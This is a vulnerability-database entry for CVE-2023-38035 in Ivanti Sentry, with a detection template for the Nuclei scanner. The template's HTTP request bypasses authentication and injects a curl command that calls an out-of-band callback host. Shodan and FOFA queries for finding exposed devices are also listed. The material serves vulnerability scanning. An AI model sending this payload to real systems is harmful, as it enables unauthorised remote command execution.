CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%
A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.
id: CVE-2023-38035
info:
name: Ivanti Sentry - Authentication Bypass
author: DhiyaneshDk,iamnoooob,rootxharsh
severity: critical
description: |
A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the system.
remediation: |
Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability.
reference:
- https://forums.ivanti.com/s/article/CVE-2023-38035-API-Authentication-Bypass-on-Sentry-Administrator-Interface
- https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/
- https://github.com/horizon3ai/CVE-2023-38035
- https://nvd.nist.gov/vuln/detail/CVE-2023-38035
- http://packetstormsecurity.com/files/174643/Ivanti-Sentry-Authentication-Bypass-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-38035
cwe-id: CWE-863
epss-score: 0.97506
epss-percentile: 0.99983
cpe: cpe:2.3:a:ivanti:mobileiron_sentry:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ivanti
product: mobileiron_sentry
shodan-query:
- 'html:"Note: Requires a local Sentry administrative user"'
- 'http.html:"note: requires a local sentry administrative user"'
fofa-query: 'body="note: requires a local sentry administrative user"'
tags: cve2023,cve,packetstorm,ivanti,mobileiron,sentry,kev,rce,auth-bypass,oast
variables:
oast: "{{interactsh-url}}/?"
padstr: "{{randstr}}"
http:
- raw:
- |
POST /mics/services/MICSLogService HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{{base64_decode('YwEAbQAYdXBsb2FkRmlsZVVzaW5nRmlsZUlucHV0TVMAB2NvbW1hbmRTAEw=')}}curl {{padding(oast,padstr,71)}}{{base64_decode('UwAGaXNSb290VHpOeg==')}}
matchers:
- type: dsl
dsl:
- contains(body, 'isRunningTzz')
- contains(interactsh_protocol, 'dns')
- status_code == 200
condition: and
# digest: 490a00463044022026cbfee688ff707e0e6ae8f29561501c0afcef82082d08c908b8e472fc2996510220382f1c7435050c40184e851419313a2b2ed4b1a086ba148c9ea2ffa273ffd6c9:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/174643/Ivanti-Sentry-Authentication-Bypass-Remote-Code-Execution.html
forums.ivanti.com/s/article/CVE-2023-38035-API-Authentication-Bypass-on-Sentry-Administrator-Interface
github.com/horizon3ai/CVE-2023-38035
nvd.nist.gov/vuln/detail/CVE-2023-38035
www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%